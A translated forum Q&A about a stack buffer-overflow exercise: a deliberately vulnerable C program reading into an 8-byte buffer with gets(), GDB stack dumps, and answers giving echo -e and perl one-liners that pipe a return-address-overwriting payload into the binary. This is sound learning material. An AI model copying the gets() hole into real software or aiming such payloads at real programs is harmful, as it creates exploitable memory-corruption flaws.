我正在尝试使用以下C程序来理解缓冲区溢出攻击

#include"stdio.h"  
#include"string.h"   
void iwontprint()  
{  
    printf("i wont be printed!");  
}  

void callme()  
{  
    char buffer[8];  
    gets(buffer);  
    puts(buffer);  
}  

int main(int argc,int** argv)  
{  
    callme();  
    return 0;  
}


在调用gets(buffer)之前在GDB中加载该程序将获得以下ESP值:

0xbffff4d4: 0xb7ff0590 0x080484db 0xb7fc1ff4 0xbffff4e8  
0xbffff4e4: 0x080484b6 0xbffff568 0xb7e79e46 0x00000001


在输入输入123456789abc\x7c\x84\x04\x08后,我在ESP中得到的值完全不同:

0xbffff4d4: 0xbffff4d8 0x34333231 0x38373635 0x63626139  
0xbffff4e4: 0x6337785c 0x3438785c 0x3430785c 0x3830785c


我已经设置了randomize_va_space = 0

$cat /proc/sys/kernel/randomize_va_space   
0


任何人都可以提供关于我在这里缺少什么的任何指针吗?

评论

尽管非常有趣,但我还是不喜欢它,但投票关闭

#1 楼

您的堆栈完全没问题。仔细看一下这些值:

0x34333231 0x38373635 0x63626139 0x6337785c 0x3438785c 0x3430785c 0x3830785c

解释为ascii字符串的值变成了这个。从字面上看:

123456789abc\x7c\x84\x04\x08

如您所见,这正是您输入的内容。我的意思是,例如\x7c是字符串"\x7c"而不是"|"。使用此技术可以正确发送值:

echo -e "123456789abc\x7c\x84\x04\x08" | ./yourbinary

评论


感谢您的答复。但是我不明白为什么那里是0x63626139而不是0x0804847c(我在little endian中作为输入输入)。

–新手用户
13年4月9日在10:07

AFAIK,0xbffff4d8和0x34333231用于char缓冲区[8],而0x38373635应该用于EBP值(旧)。那么下一个值应该是我输入的值(超过12个字节)?

–新手用户
13年4月9日在10:09

不。您没有输入0x0804847c。您输入了0x3830785c,即:0x5c == \,0x78 == x,0x30 == 0,0x38 == 8,即\ x08作为字符串。不是字节值0x08。

– Samuirai
2013年4月9日10:17



实际上,除非您指定-e开关,否则echo也不会解释\ x转义。

–0xea
13年4月9日在10:26

仅在Linux上。 BSD版本不知道此选项(unix.com/man-page/FreeBSD/1/echo)

– Samuirai
13年4月9日在10:28

#2 楼

武士的答案是正确的,但更明确地说,您的错误是您输入了文字字符串

123456789abc\x7c\x84\x04\x08


其中您可能想要的是:

perl -e 'print "123456789abc\x7c\x84\x04\x08"' | ./yourbinary


在第一种情况下,\x7c\x84\x04\x08只是一个16个字符长的字符串,在第二种情况下,\x的转义序列被实际解释,而\x7c\x84\x04\x08仅被打印为4个字节。